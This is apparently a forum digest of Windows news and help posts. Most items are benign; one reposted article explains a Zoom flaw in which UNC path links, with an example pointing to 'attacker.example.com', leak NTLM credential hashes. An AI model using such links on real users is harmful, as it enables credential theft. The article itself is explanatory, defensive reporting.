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  1. If anyone here has used Hazel on mac, then they know what an excellent tool it is in terms of file organisation. For years I have searched for a worthy alternative on the windows front and so far nothing comes close except Belvedere. But Belvedere isn't being actively developed anymore. I tried dropit but it has such a cumbersome way to doing things, plus half the time the automated tasks just don't work. If anyone can suggest a few alternatives I would appreciate it. I am willing to test each one out to see which one works best.
  2. Browse and copy any special character with BabelMap for Windows BabelMap is a free character map application for Microsoft's Windows operating system that enables users to browser and copy any of the 144,000 special characters that it contains. The program may be useful to users who need to write special characters but don't know how to do that using other means. While there are options, e.g. using copy and paste if the desired character is found on a site or in a document, or using Alt-codes, it may be faster to use a program like BabelMap for that especially if different characters are needed regularly. Tip: we reviewed several programs with similar functionality in the past, among them WinCompose, KbdKaz 500, and Extra Keys. The trusted Character Map application that is included in Windows may also be useful. The program can be run right after its archive has been extracted to the local system. BabelMap uses tabs to sort characters into different groups. One of the issues here is that the program uses abbreviations for tab titles and that most users will probably have difficulties finding the right tab that is holding the characters that they want to use. The program supports a simple find option; all it takes is to type a character and hit F2 to locate it and look up its properties. While that is useful to look up information, it does not work if you cannot type or paste a character. The built-in advanced search may be helpful in this regard as you may use it to find characters based on their name, Unicode properties, aliases and other information. The character map displays the available characters. You may select any character and use the copy button at the bottom or Ctrl-C to copy the character to the Clipboard. The display of characters can be switched to hex, decimal, HTML, and UCN with the click the mouse to copy these instead. The application displays information when a character is selected; this includes properties and other information such as its Unicode name and encoding information. A character lookup tool is also provided for finding Han, Yi, and Tangut characters. Users who use Emoji regularly may find the Emoji editor useful as it lists all Unicode-defined Emoji and includes options to copy them just like any other character displayed by the application. The program supports a bookmarking system to access information more quickly. Closing Words BabelMap is a well-designed application to look-up, browse, and copy special characters. While it may be overkill for Windows users who need to copy one or two characters per year, it could be very useful to users who need the functionality regularly. Landing Page: https://www.babelstone.co.uk/Software/BabelMap.html Source: Browse and copy any special character with BabelMap for Windows (gHacks - Martin Brinkmann)
  3. Attackers can use Zoom to steal users’ Windows credentials with no warning Zoom for Windows converts network locations into clickable links. What could go wrong? Enlarge Christopher Blizzard 44 with 32 posters participating Users of Zoom for Windows beware: the widely used software has a vulnerability that allows attackers to steal your operating system credentials, researchers said. Discovery of the currently unpatched vulnerability comes as Zoom usage has soared in the wake of the coronavirus pandemic. With massive numbers of people working from home, they rely on Zoom to connect with co-workers, customers, and partners. Many of these home users are connecting to sensitive work networks through temporary or improvised means that don’t have the benefit of enterprise-grade firewalls found on-premises. Embed network location here Attacks work by using the Zoom chat window to send targets a string of text that represents the network location on the Windows device they’re using. The Zoom app for Windows automatically converts these so-called universal naming convention strings—such as //attacker.example.com/C$—into clickable links. In the event that targets click on those links on networks that aren’t fully locked down, Zoom will send the Windows usernames and the corresponding NTLM hashes to the address contained in the link. Attackers can then use the credentials to access shared network resources, such as Outlook servers and storage devices. Typically, resources on a Windows network will accept the NTLM hash when authenticating a device. That leaves the networks open to so-called pass-the-hash attacks that don’t require a cracking technique to convert the hash to its corresponding plain-text password. “It’s quite a shortcoming from Zoom,” Matthew Hickey, cofounder of the security boutique Hacker House, told me. “It’s a very trivial bug. With more of us working from home now, it’s even easier to exploit that bug.” The vulnerability was first described last week by a researcher who uses the Twitter handle @_g0dmode. He wrote: “#Zoom chat allows you to post links such as \\x.x.x.x\xyz to attempt to capture Net-NTLM hashes if clicked by other users. On Tuesday, Hickey expanded on the discovery. He showed in one tweet how the Zoom Windows client exposed the credentials that could be used to access restricted parts of a Windows network. “Hi @zoom_us & @NCSC,” Hickey wrote. “Here is an example of exploiting the Zoom Windows client using UNC path injection to expose credentials for use in SMBRelay attacks. The screen shot below shows an example UNC path link and the credentials being exposed (redacted).” The screenshot shows the Windows username as Bluemoon/HackerFantastic. Immediately below, the NTLM hash appears, although Hickey redacted most of it in the image he posted. Attacks can be mounted by people posing as a legitimate meeting participant or during so-called Zoom bombing raids, in which trolls access a meeting not secured by a password and bombard everyone else with offensive or harassing images. Protect yourself While the attack works only against Windows users, Hickey said attacks can be launched using any form of Zoom, again, by sending targets a UNC location in a text message. When Windows users click on the link while they’re connected to certain unsecured machines or networks, the Zoom app will send the credentials over port 445, which is used to transmit traffic related to Windows SMB and Active Directory services. In the event that port 445 is closed to the Internet—either by a device or network firewall or through an ISP that blocks it—the attack won’t work. But it’s hardly a given that this egress will be closed on many Zoom users’ networks. The events of the past month have left millions of people working from home without the same levels of IT and security support they get when working on premises. That makes it more likely that port 445 is open, either because of an oversight or because the port is needed to connect to enterprise resources. Zoom representatives didn’t respond to an email sent on Tuesday seeking comment for this post. This post will be updated if a reply comes later. In the meantime, Windows users should be highly suspicious of chat messages that contain links in them. When possible, users should also ensure that port 445 is either blocked or can access only trusted addresses on the Internet. Source: Attackers can use Zoom to steal users’ Windows credentials with no warning (Ars Technica)
  4. Facebook launches new Messenger app for Windows and macOS During the F8 developer conference last year, Facebook promised to bring a new Messenger app to desktop devices, both on macOS and Windows 10. The Windows 10 version of the app has been in public beta testing for some time, and the macOS variant was spotted in some regions last month, but today, the new Messenger is officially available on both platforms. The goal of the new app is to bring over most of the features of the mobile Messenger apps, and wrap them in a package that looks and feels more native to each platform. The previous Windows 10 app was based on an old version of the iOS app, and the design was somewhat out of place on Windows. [Video here ... ] https://www.facebook.com/watch/?v=237772287272154 The new app does pretty much what you'd expect it to do, including group video calls and, of course, message syncing across devices. It also supports dark mode, which only made its way to the mobile apps somewhat recently. If you're interested, you can download the new Messenger app from the Microsoft Store or the Mac App Store, depending on your platform of choice. Source: Facebook launches new Messenger app for Windows and macOS (Neowin)
  5. System Information for Windows - SIW 2020 v10.0.0128 SIW is an advanced System Information for Windows tool that analyzes your computer and gathers detailed information about system properties and settings (Software Information, Hardware Information, Network Information and Tools) and displays it in an extremely comprehensible manner. SIW can create a report file (HTML, JSON, CSV, TEXT or XML), and you can run it in batch mode (for Computer Inventory, Hardware, Software and Network Information, Software License Management, Security Audit, Server Configuration Management). The System Information is divided into few major categories: Software Information Operating System, Software Licenses (Product Keys / Serial Numbers), Passwords Recovery, Installed Programs, Applications, Security, Accessibility, Environment, Regional Settings, File Associations, Running Processes, Loaded DLLs, Drivers, NT Services, Autorun, Scheduled Tasks, Databases, Audio and Video Codecs, Shared DLLs, ActiveX, MMC Snap-Ins, Shell Extensions, Event Viewer, Certificates, etc. Hardware Information System Summary, Motherboard, BIOS, CPU, Memory, Sensors, Devices, Chipset, PCI/AGP, USB and ISA/PnP Devices, System Slots, Network Adapters, Video Card, Monitor, Sound Devices, Storage Devices, Logical Disks, Disk Drives, CD/DVD Devices, SCSI Devices, S.M.A.R.T., Ports, Battery and Power Policy, Printers, etc. Network Information Basic/Extended Information about Configuration, Statistics, Connections, Active Directory (Computers, Groups and Users), Shares, Open Ports, etc. Tools Network Tools: MAC Address Changer, Wake On LAN, Remote Licenses (from Windows Folder, Remote Computer or Registry Hive), Hosts Scan, Ping, Trace, etc. Miscellaneous Tools: Eureka! (Reveal lost passwords hidden behind asterisks), Shutdown / Restart, Monitor Test, MUICache Viewer, URL Explorer, Open Files, etc. SIW (Technician's Version) is a standalone utility that does not require installation (Portable Application) - one less installed program on your PC as well the fact that you can run the program directly from an USB flash drive, from a network drive or from a domain login script. SIW is periodically updated (usually once per quarter) in order to provide most accurate results. Client Platform: Windows 10 / Windows 8.1 / Windows 8 / Windows 7 / Vista / Windows XP SP3 / WinPE / WinRE / Winternals ERD Commander Server Platform: Windows 2019 / Windows 2016 / Windows 2012 (R2) / Windows SBS 2011 / Windows Server 2008 (R2) / Windows Server 2003 (R2) Homepage: https://www.gtopala.com Changelogs Updated CPU module: AMD Ryzen Threadripper 3960X, 3970X and 3990X and TRX40 chipset. Intel Core 10xxx Comet Lake processors. Updated Operating System module: Windows 10, version 2004. Added support for detecting Windows 10 "Active Development Branch". Fixed CTreeCtrl Copy&Paste. Improved support for High Contrast themes. Improved support for Right-to-Left languages. Improved Storage Devices S.M.A.R.T. support. Added Properties for CD-ROM. Renamed few fields: System Directories: Key -> Source NT Services: Start -> Startup Type Drivers: Start -> Startup Type Scheduled Tasks: Status: Enabled/Disabled -> Enabled:Yes/No State -> Status ActiveX: Class -> Class Name Updated Devices database. Minor enhancements and compatibility fixes. https://www.gtopala.com/siw/changelog.php Download: Site: https://www.mirrored.to Sharecode: /files/SVAQORDT/ Included: Home, Technician and Enterprise Editions
  6. JayDee

    Windows 7 Settings Error

    Hello guys, I had this sudden settings error yesterday on my Windows 7 Pro x64. All was fine until I realized the below errors. 1- The default view chosen for every folder was reset to default. Now I am not able to chose a view settings for a certain folder without it being converted back to the default once I close that folder. 2- The System icons near the clock on taskbar keeps hiding themselves. Now the taskbar chooses what needs to be hidden and what needs to be shown. Even thought I drag the wanted icons to be shown, once I restart the laptop, the icons revert to being hidden. Don't know what triggered such error. Is there any recommended fix ?
  7. Microsoft gets ready for a new era of Windows New Windows leadership means a new vision and focus Microsoft reorganized its Windows + Devices team last month, placing Surface chief Panos Panay in charge of both Windows and hardware. While it’s still early days for Panay, we’re starting to get an idea of how things might change with Windows. That starts with a new Windows Insider leader, Microsoft’s beta program that sees millions of people testing Windows 10. “In my first 30 days as the Windows leader, as I’ve been spending time listening, learning, and working with the team to build a vision for the next era of Windows, I’ve been in awe of the Insiders group and the level of dedication and depth of knowledge they have,” explains Panay in a new blog post today. “To keep this momentum going and continue to grow and innovate in Windows, it’s clear we need the right person to lead this powerful community into the next era, which is why I’m excited to announce Amanda Langowski as the new lead for the Windows Insider Program.” Langowski is a Microsoft and Windows veteran, having worked at the company for more than 20 years. Langowski previously worked on Windows beta programs, Windows Mobile, Windows Phone, and the all-important flighting team that makes sure builds of Windows are available for engineers inside and outside of Microsoft. Langowski will now take over as the face of Windows 10 testing and lead an important feedback loop, a role that Dona Sarkar previously led for the past few years. Sarkar has taken a new role in the Microsoft Developer Relations team and remains at the company, while the previous Insider chief, Gabe Aul, left Microsoft last year for a virtual and augmented reality engineering role at Facebook. Microsoft’s Panos Panay. Photo by Tom Warren / The Verge As Panay says, Microsoft is now getting ready to build a vision for where Windows goes next. The software maker has tried a variety of ways to entice creators to Windows over the past five years, but it has walked back some of those changes. The pace of Windows 10 updates has certainly slowed over the past 12 months, leaving testers and Windows fans wondering what’s coming next. Microsoft is obviously focused on Windows 10X for dual-screen devices right now, but there will be plenty of changes coming to the desktop version, too. Panay hasn’t finalized his vision for the direction of Windows, but you can expect to see a renewed focus on the OS at Microsoft. That will no doubt include some of the pumped energy Panay is famous for, but also a focus on simplifying the operating system and cleaning up some areas that haven’t been looked at for quite some time. Microsoft CEO Satya Nadella’s bold goal was “we want to move from people needing Windows to choosing Windows, to loving Windows,” five years ago. It’s fair to say Windows 10 has certainly improved over the past five years, but a fresh vision for where it needs to go and a face for Windows is very much needed. I expect, and certainly hope, to see a bigger focus on Microsoft adapting the OS to the people who truly use it every day and rely on Windows. That’s not to say there won’t be some big new features that the company will develop, but PowerToys for Windows 10 and the Windows Terminal have been some great additions. We’re starting to see some of the simplifications for Windows show up, with new icons and even some tweaks to the Start menu. Panay celebrated a billion Windows 10 users with a teaser video last week, and it’s clear the Windows team is looking at cleaning up parts of the UI. Microsoft is ready to listen again, with new leadership involved at the top of Windows and how the company receives feedback. We’re now waiting to hear exactly what the next era of Windows will bring. Some of those answers might not be too far away. Source: Microsoft gets ready for a new era of Windows (The Verge)
  8. TheEmpathicEar

    Sound, Adjusting Bass, Treble, etc.

    Windows 10 Pro x64 Version 1909, cheap crappy speakers I have had a remarkably hard time finding out how to adjust bass, treble, etc. In past versions of Windows, I would just right-click on the volume icon in the systray and have immediate access to these sound adjustments. Not here. The context is a HIPPA client web site, Tele Health, that does not have any of these settings [that I could not find anyway]. This is why I was floundering for a way to do this elsewhere. EDIT: This is the specific PC.
  9. Skype's Microsoft Store app is being replaced with the desktop version Microsoft's Skype app is available in two different flavors on Windows devices: there's a desktop app you can download from the website, and a Microsoft Store app that's pre-installed with Windows 10. The two apps look almost the same, but there have been some significant differences between them, specifically the tighter integration with OS features that's offered by the Store app. Now, though, Microsoft seems to be unifying the two apps, as a recent update to Skype Preview on the Microsoft Store has turned the app into the exact same thing you'd get with the desktop version, as first spotted by Aggiornamenti Lumia on Twitter. That means it's no longer based on React Native and it's using Electron instead, and it also means that a lot of the OS-level integration is now gone. That includes the ability to respond to messages from notifications or Windows 10-style incoming call notifications, as noted in a couple of tweets by another user, Florian B: Source: Skype's Microsoft Store app is being replaced with the desktop version (Neowin)
  10. Microsoft app lets you pair your Android phone with Windows To bridge the age-old gap between Android and Windows, Microsoft now has an app called Your Phone, aimed at connecting your Android smartphone or tablet to your Windows 10 computer. — dpa When it comes to sending files between devices, there are any number of ways you can share what's on your phone. Things are a bit trickier when you want to access your phone from Windows, however. To bridge the age-old gap between Android and Windows, Microsoft now has an app called Your Phone, aimed at connecting your Android smartphone or tablet to your Windows 10 computer. It allows you to do things such as transferring photos and videos between devices or typing text messages on your computer. To do so, you need to have the appropriate app installed on your smartphone, namely "Your Phone Companion – Link to Windows." Depending on the smartphone model, other features are available, such as being able to mirror smartphone apps on your computer's screen and use them using the keyboard, mouse or touchscreen on your computer. You can also make and receive phone calls on your PC. A prerequisite is that you have a Windows 10 PC running the Windows 10 May 2019 update. While direct smartphone-to-PC connections via cable are less popular and somewhat more cumbersome, they remain a reliable alternative in many cases and are often faster at transferring large files. – dpa Source
  11. Disappearing SMBv3 patch, non-security Office patches, and a so-far-mild Patch Tuesday With lots of drama over a patch that was never released, and a handful of non-security Office patches that should’ve been released a week ago, this month’s Patch Tuesday is progressing surprisingly well. Thinkstock/Microsoft It’s been almost 24 hours since this month’s Patch Tuesday patches rolled out. The good news: Almost everybody patching individual machines reports smooth sailing. That’s remarkable, given the host of problems with last month’s disappearing icons (temporary profile) bug and the unending litany of complaints about the last “optional, non-security, C/D Week” patch. As best I can tell, none of those problems have been officially acknowledged, and if they’re still in evidence with yesterday’s patches, people aren’t complaining about them. Yet. To be sure, we’re still seeing the usual problems with installing the patches — Error 0x800f0900 seems particularly prolific on Reddit — but at this early juncture, I don’t see any debilitating problems. That may well change. Many patchers have other problems on their minds and the day is still young. Duplicated updates I’ve seen numerous reports of duplicated updates in Windows Update lists, specifically for Windows 8.1, a .Net Quality Rollup, and the Server 2012 R2 Monthly Rollup. Seeing the same, identical patch listed twice in an update list does not inspire confidence. It looks like Microsoft tidied up the list overnight. At this point there are 110 “2020-03” entries in the Microsoft Update Catalog — which is to say, 110 individual patches — three fewer than there were last night. Less is better, yes? Extra Office updates It looks as if Microsoft took advantage of Patch Tuesday to release additional non-security patches for Office. Usually the non-security Office patches come out on the first Tuesday of the month, but this announcement contains links to all of these new Office non-security patches: Excel 2016 March 10, 2020, update for Excel 2016 (KB4011130) Office 2016 March 3, 2020, update for Office 2016 (KB4484247) Office 2016 March 10, 2020, update for Office 2016 (KB3213653) Outlook 2016 March 10, 2020, update for Outlook 2016 (KB4462111) PowerPoint 2016 March 10, 2020, update for PowerPoint 2016 (KB3085405) Project 2016 March 10, 2020, update for Project 2016 (KB3085454) Skype for Business 2016 March 3, 2020, update for Skype for Business 2016 (KB4484245) Skype for Business 2015 (Lync 2013) March 3, 2020, update for Skype for Business 2015 (Lync 2013) (KB4484097) Office 2016 Language Interface Pack March 3, 2020, update for Office 2016 Language Interface Pack (KB4484136) Remarkably, those patches are not listed in the official Latest non-security updates for versions of Office that use Windows Installer (MSI) post. The strange case of CVE-2020-0796 'CoronaBlue' Yet another patch timing mishap: The SMBv3 patch described in Microsoft Security Advisory ADV200005 | Microsoft Guidance for Disabling SMBv3 Compression has been causing all sorts of consternation among admins in charge of networks running SMBv3. Long story short, Microsoft apparently had the patch ready to go but pulled it at the last minute. Microsoft warned security software manufacturers in advance that the patch was coming (a common practice), but didn’t yell, “Stop the presses!” in time to keep the cows in the barn. Two organizations on the inside accidentally published, then pulled, descriptions. The story raced through the blogosphere. The hole is wormable in that it might be able to propagate without any human interaction. “Might” being the operable term: A potential exploit faces formidable challenges. At first, Microsoft didn’t officially announce the hole, and didn’t post a fix. Then, its hand having been forced, on Tuesday night, Microsoft posted the Security Advisory, which says: Microsoft is aware of a remote code execution vulnerability in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests. An attacker who successfully exploited the vulnerability could gain the ability to execute code on the target SMB Server or SMB Client. At this point, it appears that only Server 2013 and 2019 are affected. Microsoft has a manual workaround. There aren’t any known exploits but Catalin Cimpanu at ZDNet just tweeted: I have now seen/talked to 3 different people claiming they found the bug in less than 5 minutes. I won’t be surprised if exploits pop up online by the end of the day. If you’re in charge of a network running SMBv3, you can catch up on the developments by reading Satnam Narang on Tenable, Sergiu Gatlan at BleepingComputer, Catalin Cimpanu at ZDNet and, in the past couple of hours, Dan Goodin at Ars Technica. There’s an active discussion on AskWoody. You should also follow @msftsecresponse on Twitter. If you aren’t running a network with SMBv3, you can chill. There’s nothing in this month’s patches that need concern you right now. We’re kickin’ butt and naming names on AskWoody. Source: Disappearing SMBv3 patch, non-security Office patches, and a so-far-mild Patch Tuesday (Computerworld - Woody Leonhard)
  12. Microsoft Windows Security Updates March 2020 overview Welcome to the overview for Microsoft's March 2020 Patch Day; the company released security updates for all supported versions of Microsoft Windows as well as other company products. The overview provides you with important information about released patches. It includes links to support articles and summaries of patches, links to security advisories, non-security updates, as well as direct download links for Windows updates. Feel free to check out the February 2020 Patch Day overview here. Microsoft Windows Security Updates March 2020 You may download the following Excel spreadsheet to get a full tabular listing of patches and updates that Microsoft released on the March 2020 Patch Day. Click on the following link to download the Excel spreadsheet to your local system: microsoft-security-updates-windows-march-2020 Executive Summary Microsoft released updates for all supported versions of the Windows operating system. Updates were also released for Microsoft Edge (classic and new), Internet Explorer, Microsoft Exchange Server, Microsoft Office, Windows Defender, Visual Studio, Azure, Azure DevOps, Microsoft Dynamics. The Microsoft Update Catalog lists 113 patches. Operating System Distribution Windows 7 (extended support only):39 vulnerabilities: 3 critical and 36 important CVE-2020-0684 | LNK Remote Code Execution Vulnerability CVE-2020-0881 | GDI+ Remote Code Execution Vulnerability CVE-2020-0883 | GDI+ Remote Code Execution Vulnerability Windows 8.1: 55 vulnerabilities: 3 rated critical and 52 rated important CVE-2020-0684 | LNK Remote Code Execution Vulnerability CVE-2020-0881 | GDI+ Remote Code Execution Vulnerability CVE-2020-0883 | GDI+ Remote Code Execution Vulnerability Windows 10 version 1803: 71 vulnerabilities: 7 critical and 64 important CVE-2020-0684 | LNK Remote Code Execution Vulnerability CVE-2020-0809 | Media Foundation Memory Corruption Vulnerability CVE-2020-0801 | Media Foundation Memory Corruption Vulnerability CVE-2020-0807 | Media Foundation Memory Corruption Vulnerability CVE-2020-0869 | Media Foundation Memory Corruption Vulnerability CVE-2020-0881 | GDI+ Remote Code Execution Vulnerability CVE-2020-0883 | GDI+ Remote Code Execution Vulnerability Windows 10 version 1809: 73 vulnerabilities: 7 critical and 66 important same as Windows 10 version 1803 Windows 10 version 1903: 75 vulnerabilities: 7 critical and 68 important same as Windows 10 version 1803 Windows 10 version 1909: same as Windows 10 version 1903 Windows Server products Windows Server 2008 R2 (extended support only): 47 vulnerabilities, 5 critical, 42 important Windows Server 2012 R2: 55 vulnerabilities: 3 critical and 52 important. CVE-2020-0684 | LNK Remote Code Execution Vulnerability CVE-2020-0881 | GDI+ Remote Code Execution Vulnerability CVE-2020-0883 | GDI+ Remote Code Execution Vulnerability Windows Server 2016: 71 vulnerabilities: 6 critical and 65 important. CVE-2020-0684 | LNK Remote Code Execution Vulnerability CVE-2020-0809 | Media Foundation Memory Corruption Vulnerability CVE-2020-0801 | Media Foundation Memory Corruption Vulnerability CVE-2020-0869 | Media Foundation Memory Corruption Vulnerability CVE-2020-0881 | GDI+ Remote Code Execution Vulnerability CVE-2020-0883 | GDI+ Remote Code Execution Vulnerability Windows Server 2019: 72 vulnerabilities: 7 critical and 65 are important Same as Windows Server 2016 plus CVE-2020-0807 | Media Foundation Memory Corruption Vulnerability Other Microsoft Products Internet Explorer 11: 6 vulnerability: 6 critical CVE-2020-0768 | Scripting Engine Memory Corruption Vulnerability CVE-2020-0824 | Internet Explorer Memory Corruption Vulnerability CVE-2020-0830 | Scripting Engine Memory Corruption Vulnerability CVE-2020-0832 | Scripting Engine Memory Corruption Vulnerability CVE-2020-0833 | Scripting Engine Memory Corruption Vulnerability CVE-2020-0847 | VBScript Remote Code Execution Vulnerability Microsoft Edge: 14 vulnerabilities: 13 critical, 1 important CVE-2020-0768 | Scripting Engine Memory Corruption Vulnerability CVE-2020-0811 | Chakra Scripting Engine Memory Corruption Vulnerability CVE-2020-0812 | Chakra Scripting Engine Memory Corruption Vulnerability CVE-2020-0816 | Microsoft Edge Memory Corruption Vulnerability CVE-2020-0823 | Scripting Engine Memory Corruption Vulnerability CVE-2020-0825 | Scripting Engine Memory Corruption Vulnerability CVE-2020-0826 | Scripting Engine Memory Corruption Vulnerability CVE-2020-0827 | Scripting Engine Memory Corruption Vulnerability CVE-2020-0828 | Scripting Engine Memory Corruption Vulnerability CVE-2020-0829 | Scripting Engine Memory Corruption Vulnerability CVE-2020-0830 | Scripting Engine Memory Corruption Vulnerability CVE-2020-0831 | Scripting Engine Memory Corruption Vulnerability CVE-2020-0848 | Scripting Engine Memory Corruption Vulnerability Microsoft Edge on Chromium: see here (latest security patches from the Chromium project) Windows Security Updates Windows 7 Monthly Rollup: KB4540688 Security-only: KB4541500 Improvements and fixes: Fixed an issue that might prevent icons and cursors from appearing as expected. (monthly-rollup only) Security updates Windows 8.1 Monthly Rollup: KB4541509 Security-only: KB4541505 Improvements and fixes: Fixed an issue that might prevent ActiveX content from loading. Fixed an issue that might prevent icons and cursors from appearing as expected. Security updates Windows 10 version 1803 Support article: KB4540689 Improvements and fixes: Security updates Windows 10 version 1809 Support article: support Improvements and fixes: Security updates Windows 10 version 1903 and 1909 Support article: KB4540673 Improvements and fixes: Fixed an issue that prevented some users from upgrading the operating system "because of corrupted third-party assemblies". Security updates. Other security updates KB4540671 -- 2020-03 Cumulative Security Update for Internet Explorer KB4540694 -- 2020-03 Security Only Quality Update for Windows Embedded 8 Standard and Windows Server 2012 KB4541504 -- 2020-03 Security Only Quality Update for Windows Server 2008 KB4541506 -- 2020-03 Security Monthly Quality Rollup for Windows Server 2008 KB4541510 -- 2020-03 Security Monthly Quality Rollup for Windows Embedded 8 Standard and Windows Server 2012 KB4539571 -- 2020-03 Servicing Stack Update for Windows Server 2019 and Windows 10 Version 1809 KB4540670 -- 2020-03 Cumulative Update for Windows Server 2016 and Windows 10 Version 1607 KB4540681 -- 2020-03 Cumulative Update for Windows 10 Version 1709 KB4540693 -- 2020-03 Cumulative Update for Windows 10 Version 1507 KB4540705 -- 2020-03 Cumulative Update for Windows 10 Version 1703 KB4540721 -- 2020-03 Servicing Stack Update for Windows 10 Version 1507 KB4540722 -- 2020-03 Servicing Stack Update for Windows 10 Version 1703 KB4540723 -- 2020-03 Servicing Stack Update for Windows Server 2016 and Windows 10 Version 1607 KB4540724 -- 2020-03 Servicing Stack Update for Windows 10 Version 1803 KB4540725 -- 2020-03 Servicing Stack Update for Windows 8.1, Windows RT 8.1, and Windows Server 2012 R2 KB4540726 -- 2020-03 Servicing Stack Update for Windows Embedded 8 Standard and Windows Server 2012 KB4541338 -- 2020-03 Servicing Stack Update for Windows Server, version 1909, Windows 10 Version 1909, Windows Server, version 1903, and Windows 10 Version 1903 KB4541731 -- 2020-03 Servicing Stack Update for Windows 10 Version 1709 KB4550735 -- 2020-03 Servicing Stack Update for Windows Embedded Standard 7, Windows 7, and Windows Server 2008 R2 KB4550736 -- 2020-03 Servicing Stack Update for Windows Server 2008 Known Issues Windows 7 May receive "failure to configure Windows updates. Reverting Changes. Do not turn off your computer" if the update is installed on non-ESU systems. Certain operations that are performed on files or folders on Cluster Shared Volumes may fail with the error "STATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)". Windows 8.1 Certain operations that are performed on files or folders on Cluster Shared Volumes may fail with the error "STATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)". Windows 10 version 1809 After installing KB4493509, devices with some Asian language packs installed may receive the error, "0x800f0982 - PSFX_E_MATCHING_COMPONENT_NOT_FOUND." Mitigation: uninstall and reinstall the language pack, then install the April 2019 Cumulative Update. If that does not help, Microsoft suggests Resetting the PC. May encounter issues in Windows Server containers and 32-bit applications and process. See: Windows container version compatibility. Windows 10 version 1903 and 1909 May encounter issues in Windows Server containers and 32-bit applications and process. See: Windows container version compatibility. Security advisories and updates Non-security related updates KB890830 -- Windows Malicious Software Removal Tool - March 2020 Microsoft Office Updates You find Office update information here. How to download and install the March 2020 security updates Security updates for all supported version of Windows and products included in Windows, e.g. Microsoft Edge, are made available via Windows Update, WSUS, and other update distribution systems. Administrators may download standalone patches to systems to apply these directly without using Windows Updates. We recommend that backups are created of important date or, better, the entire system, before patches are installed. Do the following to check for new updates: Open the Start Menu of the Windows operating system, type Windows Update and select the result. Select check for updates in the application that opens. Updates may be installed automatically when they are found or offered by Windows; this depends on the operating system and version that is used, and update settings. Direct update downloads Windows 7 and Server 2008 R2 KB4540688 -- 2020-03 Security Monthly Quality Rollup for Windows 7 KB4541500 -- 2020-03 Security Only Quality Update for Windows 7 Windows 8.1 and Windows Server 2012 R2 KB4541509 -- 2020-03 Security Monthly Quality Rollup for Windows 8.1 KB4541505 -- 2020-03 Security Only Quality Update for Windows 8.1 Windows 10 (version 1803) KB4540689 -- 2020-03 Cumulative Update for Windows 10 Version 1809 Windows 10 (version 1809) KB4538461 -- 2020-03 Cumulative Update for Windows 10 Version 1809 Windows 10 (version 1903) KB4540673 -- 2020-03 Cumulative Update for Windows 10 Version 1903 Windows 10 (version 1909) KB4540673 -- 2020-03 Cumulative Update for Windows 10 Version 1909 Additional resources March 2020 Security Updates release notes List of software updates for Microsoft products List of the latest Windows Updates and Services Packs Security Updates Guide Microsoft Update Catalog site Our in-depth Windows update guide How to install optional updates on Windows 10 Windows 10 Update History Windows 8.1 Update History Windows 7 Update History Source: Microsoft Windows Security Updates March 2020 overview (gHacks - Martin Brinkmann)
  13. Windows by the numbers: Remaining Windows 7 users in no rush to move on With the Windows 7 end-of-support deadline now receding in the rear view mirror, users of the aged OS no longer seem to be in any rush to upgrade to Windows 10. pan xiaozhen modified by IDG Comm. / Microsoft (CC0) Windows 7 users who missed the operating system's mid-January support deadline weren't in any hurry last month to dump the operating system. According to data published Sunday by American analytics company Net Applications, Windows 7 shed just four-tenths of a percentage point in February, ending the month at 25.2%. Windows 7 accounted for 28.6% of the personal computers running the Microsoft OS. (The percentage of Windows PCs is larger than the percentage of all personal computers because Windows does not power every system. In February, Windows was the OS of 88.2% of the world's personal computers -- an increase of just one-tenth of a point. Of the rest, all but a tiny fraction ran macOS, Linux or Chrome OS, in decreasing order.) February's decline of Windows 7 was less than a tenth that of January's, when procrastinators scrambled to retire the 2009 OS before - or shortly after - its Jan. 14 end of support. Users of Windows 7 who didn't make the switch to a newer OS may have decided that, having blown the deadline without visible harm, they could relax and keep running the operating system. Or perhaps the last-minute rush in January had exhausted IT's resources and administrators were simply pausing to regroup before tackling more machines. Another possibility: The Extended Security Updates (ESP) that Microsoft has sold - and continues to sell - have dampened at least some of the immediate enthusiasm for ditching Windows 7. Six years ago, when Windows XP exited support in April 2014, Net Applications recorded a similar slowdown in XP's decline. At that time, however, XP's share continued to sink for a month (May 2014) before completely stalling the month after that (June). Windows 10 on its way to 100% At least the when-Windows-7-falls-Windows-10-climbs rule remained intact last month: Windows 10's share rose three-tenths of a percentage point to 57.4% of all personal computers and 65.1% of only those running Windows. The forecast based on the latest data - the average change over the past 12 months - now predicts that Windows 10 will reach 75% of all Windows systems by September and nearly 80% by the end of 2020. Those users must come from somewhere: Windows 7 should shrink to 19.7% by September and just 16% by Dec. 31. Unless Microsoft forks Windows 10 in some fashion - Windows 10X, perhaps? - and so offers more than the purportedly "last" version of its client OS, Windows 10 will, at some point, account for 100% of all Windows. Unlike previous major migrations, like XP-to-7, this time there's no successor to 10 that will dilute its dominance. According to Computerworld's forecast, Windows 10 should represent somewhat more than 97% of all Windows by the end of 2021. Elsewhere in Net Applications' data, Windows 8/8.1 added one-tenth of a percentage point, ending February at 4.1% share of all personal computers but 4.7% of those running Windows. The increase was the third straight for the not-yet-obsolete OS; there's no easy explanation for that climb, short as it has been (three-tenths of a point over the three months). It's unlikely folk actually flocked to Windows 8.1 since Dec. 1, 2019, so the increase should be written off as an artifact of Net Applications' data collection methodologies. Meanwhile, macOS shed three-tenths of a percentage point to end February at 9.4%. Apple's OS took a tumble last month as well, although that was by Net Applications' design; the metrics vendor had counted iPads running iPadOS 13 as Macs, and so had overestimated the share of macOS. A major correction in January that went back to September 2019 put things straight. On the plus side, macOS remained within sight of the 10% milestone, which it had erroneously met last fall. Net Applications calculates operating system share by detecting the agent strings of the browsers used to reach the websites of Net Applications' clients. The firm tallies visitor sessions to measure operating system activity. Source: Windows by the numbers: Remaining Windows 7 users in no rush to move on (Computerworld - Gregg Keizer)
